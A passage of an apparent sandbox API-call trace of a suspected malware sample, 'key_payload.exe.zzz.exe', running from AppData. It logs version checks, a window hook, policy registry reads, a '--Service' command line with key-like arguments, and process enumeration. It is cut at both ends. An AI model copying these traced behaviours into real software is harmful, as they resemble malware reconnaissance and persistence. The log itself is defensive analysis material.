(lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0227.893] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0227.893] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0227.893] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0227.893] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0227.894] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0227.894] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0227.894] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0227.894] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0227.894] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0227.894] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0227.894] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0227.894] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0227.894] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0227.894] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0227.894] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0227.894] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0227.894] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0227.895] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0227.896] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0227.896] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0227.897] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0227.898] GetVersionExW (in: lpVersionInformation=0x9cf4c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xb07240, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0xb07240, szCSDVersion="") | out: lpVersionInformation=0x9cf4c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0227.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.898] GetProcAddress (hModule=0x75130000, lpProcName=0x1347bf0) returned 0x75172720 [0227.898] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0227.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.898] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0227.898] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0227.898] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0227.899] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0227.899] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0227.899] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0227.899] GetCurrentProcess () returned 0xffffffff [0227.899] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0227.899] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.899] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0227.899] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0227.899] GetLastError () returned 0x7a [0227.899] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xb3ace0, ReturnedLength=0x139a0c4 | out: Buffer=0xb3ace0, ReturnedLength=0x139a0c4) returned 1 [0227.899] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0227.899] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0227.900] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0227.900] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0227.900] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0227.900] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0227.900] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0227.900] EtwRegisterTraceGuidsW () returned 0x0 [0227.900] RtlInitializeSListHead (in: ListHead=0xb3ad48 | out: ListHead=0xb3ad48) [0227.900] RtlInitializeSListHead (in: ListHead=0xb3ad50 | out: ListHead=0xb3ad50) [0227.900] RtlInitializeSListHead (in: ListHead=0xb3adb0 | out: ListHead=0xb3adb0) [0227.900] RtlInitializeSListHead (in: ListHead=0xb3adb8 | out: ListHead=0xb3adb8) [0227.901] RtlInitializeSListHead (in: ListHead=0xb3aed0 | out: ListHead=0xb3aed0) [0227.901] RtlInitializeSListHead (in: ListHead=0xb3aed8 | out: ListHead=0xb3aed8) [0227.901] RtlInitializeSListHead (in: ListHead=0xb3aee0 | out: ListHead=0xb3aee0) [0227.901] RtlInitializeSListHead (in: ListHead=0xb3aee8 | out: ListHead=0xb3aee8) [0227.901] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1ec [0227.901] RegisterWaitForSingleObject (in: phNewWaitObject=0xb3aec4, hObject=0x1ec, Callback=0x12e6468, Context=0xb3ace8, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0xb3aec4*=0xb12ef0) returned 1 [0227.901] CreateThreadpoolTimer (in: pfnti=0x12e644a, pv=0xb3ace8, pcbe=0x0 | out: pv=0xb3ace8) returned 0xb0a8d8 [0227.901] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0227.901] TpSetTimer (in: pti=0xb0a8d8, pftDueTime=0x9cf5dc, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0xb0a8d8) [0227.901] GetCurrentProcess () returned 0xffffffff [0227.901] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0227.901] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.901] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0227.901] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0227.901] GetLastError () returned 0x7a [0227.901] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xb44738, ReturnedLength=0x139a0c4 | out: Buffer=0xb44738, ReturnedLength=0x139a0c4) returned 1 [0227.901] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1f4 [0227.901] GetNumaHighestNodeNumber (in: HighestNodeNumber=0x9cf624 | out: HighestNodeNumber=0x9cf624) returned 1 [0227.902] RtlInterlockedPopEntrySList (in: ListHead=0xb3ad48 | out: ListHead=0xb3ad48) returned 0x0 [0227.902] RtlInitializeSListHead (in: ListHead=0xb07250 | out: ListHead=0xb07250) [0227.902] RtlInitializeSListHead (in: ListHead=0xb07258 | out: ListHead=0xb07258) [0227.902] RtlInitializeSListHead (in: ListHead=0xb072a0 | out: ListHead=0xb072a0) [0227.902] RtlInitializeSListHead (in: ListHead=0xb072a8 | out: ListHead=0xb072a8) [0227.902] RtlInterlockedPopEntrySList (in: ListHead=0xb072a0 | out: ListHead=0xb072a0) returned 0x0 [0227.902] RtlInitializeSListHead (in: ListHead=0xb0f960 | out: ListHead=0xb0f960) [0227.902] RtlInitializeSListHead (in: ListHead=0xb0f968 | out: ListHead=0xb0f968) [0227.902] RtlInitializeSListHead (in: ListHead=0xb0f9b0 | out: ListHead=0xb0f9b0) [0227.902] RtlInitializeSListHead (in: ListHead=0xb0f9b8 | out: ListHead=0xb0f9b8) [0227.983] RtlInitializeSListHead (in: ListHead=0xb097d8 | out: ListHead=0xb097d8) [0227.983] RtlInitializeSListHead (in: ListHead=0xb097e0 | out: ListHead=0xb097e0) [0227.984] GetTickCount64 () returned 0x3f28f [0227.984] RtlInterlockedPopEntrySList (in: ListHead=0xb097d8 | out: ListHead=0xb097d8) returned 0x0 [0229.112] GetTickCount64 () returned 0x3f6f4 [0229.112] RtlInterlockedPopEntrySList (in: ListHead=0xb097d8 | out: ListHead=0xb097d8) returned 0x0 [0229.112] GetTickCount64 () returned 0x3f6f4 [0229.112] RtlInterlockedPopEntrySList (in: ListHead=0xb097d8 | out: ListHead=0xb097d8) returned 0x0 [0229.112] GetTickCount64 () returned 0x3f6f4 [0229.113] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x1f8 [0229.113] RtlInterlockedPopEntrySList (in: ListHead=0xb3aed8 | out: ListHead=0xb3aed8) returned 0x0 [0229.113] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x1fc [0229.113] GetCurrentThreadId () returned 0x2e4 [0229.113] GetCurrentProcess () returned 0xffffffff [0229.113] GetCurrentThread () returned 0xfffffffe [0229.113] GetCurrentProcess () returned 0xffffffff [0229.113] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xb4e554, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xb4e554*=0x200) returned 1 [0229.113] CreateThreadpoolWait (in: pfnwa=0x12f1211, pv=0xb4e4b0, pcbe=0x0 | out: pv=0xb4e4b0) returned 0xb4e568 [0229.113] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0229.113] TpSetWait (in: pwa=0xb4e568, h=0x200, pftTimeout=0x0 | out: pwa=0xb4e568) [0229.113] GetCurrentThreadId () returned 0x2e4 [0229.114] GetCursorPos (in: lpPoint=0xb0d59c | out: lpPoint=0xb0d59c*(x=1181, y=807)) returned 1 [0229.114] GetCurrentThread () returned 0xfffffffe [0229.114] GetCurrentThreadId () returned 0x2e4 [0229.114] GetVersionExW (in: lpVersionInformation=0x9cf650*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x9cf670, dwBuildNumber=0x127f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0x9cf650*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.115] SetLastError (dwErrCode=0x0) [0229.115] GetLastError () returned 0x0 [0229.116] SetLastError (dwErrCode=0x0) [0229.116] SetLastError (dwErrCode=0x0) [0229.116] SetLastError (dwErrCode=0x0) [0229.117] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0x9cf600 | out: lpWSAData=0x9cf600) returned 0 [0229.119] SetErrorMode (uMode=0x0) returned 0x8001 [0229.119] SetErrorMode (uMode=0x8001) returned 0x0 [0229.119] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0x9cf574, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0229.120] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0229.120] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0229.120] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0229.120] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0229.120] SetWindowsHookExW (idHook=-1, lpfn=0x1164207, hmod=0x0, dwThreadId=0x2e4) returned 0x940203 [0229.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0x9cf790 | out: phkResult=0x9cf790*=0x0) returned 0x2 [0229.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0x9cf790 | out: phkResult=0x9cf790*=0x0) returned 0x2 [0229.120] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0x9cf790 | out: phkResult=0x9cf790*=0x0) returned 0x2 [0229.120] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0xb543e8 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0229.120] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0229.120] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x9cef64 | out: pNumArgs=0x9cef64) returned 0xb54bf8*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0229.120] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0229.120] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xb54df8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0229.125] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0229.125] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0229.125] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x9c4188 | out: pNumArgs=0x9c4188) returned 0xb543d8*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0229.125] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0229.125] EnumProcesses (in: lpidProcess=0x9c4190, cb=0xa000, lpcbNeeded=0x9c418c | out: lpidProcess=0x9c4190, lpcbNeeded=0x9c418c) returned 1 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x194) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x19c) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0229.128] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a4) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x424) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0229.129] CloseHandle (hObject=0x0) returned 0 [0229.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c8) returned 0x230 [0229.129] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.130] CloseHandle (hObject=0x230) returned 1 [0229.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x230 [0229.130] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.130] CloseHandle (hObject=0x230) returned 1 [0229.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x230 [0229.130] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.130] CloseHandle (hObject=0x230) returned 1 [0229.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x230 [0229.130] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.130] CloseHandle (hObject=0x230) returned 1 [0229.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b0) returned 0x230 [0229.130] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.130] CloseHandle (hObject=0x230) returned 1 [0229.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x230 [0229.130] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 0 [0229.131] CloseHandle (hObject=0x230) returned 1 [0229.131] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x230 [0229.131] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.131] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xcc0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="nigeriareached.exe") returned 0x12 [0229.131] CloseHandle (hObject=0x230) returned 1 [0229.131] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x230 [0229.132] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.132] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x870000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="bass_cosmetics_effectiveness.exe") returned 0x20 [0229.132] CloseHandle (hObject=0x230) returned 1 [0229.132] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8a4) returned 0x230 [0229.132] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.133] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1210000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="optimize.exe") returned 0xc [0229.133] CloseHandle (hObject=0x230) returned 1 [0229.133] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0x230 [0229.133] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.134] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x350000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="bullet_save.exe") returned 0xf [0229.134] CloseHandle (hObject=0x230) returned 1 [0229.134] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d0) returned 0x230 [0229.134] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.135] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xf50000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="herbs.exe") returned 0x9 [0229.135] CloseHandle (hObject=0x230) returned 1 [0229.135] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x230 [0229.135] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.136] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc80000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="expenditure-vincent-tablet.exe") returned 0x1e [0229.136] CloseHandle (hObject=0x230) returned 1 [0229.136] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x230 [0229.136] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.136] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdb0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="deathswound.exe") returned 0xf [0229.137] CloseHandle (hObject=0x230) returned 1 [0229.137] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x230 [0229.137] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.138] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa40000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="homes.exe") returned 0x9 [0229.138] CloseHandle (hObject=0x230) returned 1 [0229.138] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x230 [0229.138] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.139] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xbf0000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="tu-admit.exe") returned 0xc [0229.139] CloseHandle (hObject=0x230) returned 1 [0229.139] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x908) returned 0x230 [0229.139] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.140] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x910000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="asin.exe") returned 0x8 [0229.140] CloseHandle (hObject=0x230) returned 1 [0229.140] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x230 [0229.140] EnumProcessModules (in: hProcess=0x230, lphModule=0x9c4180, cb=0x4, lpcbNeeded=0x9c4184 | out: lphModule=0x9c4180, lpcbNeeded=0x9c4184) returned 1 [0229.141] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x170000, lpBaseName=0x9ce190, nSize=0x400 | out: lpBaseName="flickr debate gs.exe") returned 0x14 [0229.141] CloseHandle (hObject=0x230) returned 1 [0229.141] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 